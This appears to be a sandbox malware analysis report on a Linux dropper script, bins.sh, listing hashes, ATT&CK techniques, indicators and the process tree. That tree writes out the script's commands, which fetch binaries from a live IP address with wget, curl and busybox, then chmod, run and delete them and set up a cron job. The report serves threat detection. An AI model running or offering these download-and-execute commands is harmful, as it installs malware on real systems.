fb5ee91c0df4ed146dd8bfd39aa07ca4ebf01b4bffcf6924aed8eba81f0f0e08

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24-11-2024 08:22

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General

Target

bins.sh
Size

10KB
MD5

0af379b28e85dfce41e7fc8861d805c6
SHA1

f1e5057c774b046f9eb9ac98dbe382d1dbfc97ec
SHA256

fb5ee91c0df4ed146dd8bfd39aa07ca4ebf01b4bffcf6924aed8eba81f0f0e08
SHA512

85f4dd5f65046f65d12961fa0ae9f14d9ec929bfb3fd082191f49c70cc67f392c2c62ccb5cab64c3b847d8ba45b6bb073e0c3f540ad64fe226d40f349ddef6d3
SSDEEP

192:mYI8amarlNL7X7D7Ebzdz3Pl77fC78EJ4Q4A48V5f7H+HyHRGmPP+PyPNCiO7maT:r3CidN8V5fL6uRGmQ8dN8V5P6uRGmB

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2188) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
1504	chmod
1511	chmod

Executes dropped EXE 2 IoCs

Processes:

nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

ioc	pid	Process
/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	1505	nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	1512	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Renames itself 1 IoCs

Processes:

0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

pid	Process
1513	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.k07JdA	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

description	ioc	Process
File opened for reading	/proc/1156/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1630/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1727/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/680/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1357/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1607/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/6/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/78/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/130/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1620/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1668/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/83/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/85/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/163/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/168/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1109/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1152/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1562/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1677/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1541/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1545/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/19/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/34/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/633/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1572/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1043/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1483/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1575/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1577/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1592/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1623/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1654/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1721/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1049/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1062/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1135/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1167/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1181/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1605/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/325/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/428/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1144/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1491/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1601/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1616/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1662/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1722/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1733/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1744/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1745/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/15/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/26/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/171/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1163/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1176/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1532/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1587/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1588/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1648/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1664/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1672/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1673/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1679/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
File opened for reading	/proc/1717/cmdline	0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	wget
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	curl
File opened for modification	/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN	busybox
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	wget
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	curl
File opened for modification	/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1491
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1492
- /usr/bin/wget
  wget http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1493
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  ./nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  - Executes dropped EXE
  PID:1505
- /bin/rm
  rm nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/chmod
  chmod 777 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  ./0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1512
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1514
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1515
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1517
- /bin/rm
  rm 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://87.120.125.191/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
  2⤵
  PID:1529

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.k07JdA

Filesize
210B

MD5
e3891c190fc6a8c52840044cfe80ff17

SHA1
a8eb4ee7237295c1315c1aa39f42ea6fcc52c944

SHA256
1d45c6368fa37d1614555284e1cb642e03b1b7d7bf80f6ab5d3aca9a8b7fcac2

SHA512
b4f9faba174a821976446189ee5f8b46dba220b93a3b90f9bafc3ac188f2a559e9d4ce183ca207855959543bc19804b940d8e797ff3cf106799b2f090eeb555a

Download Submit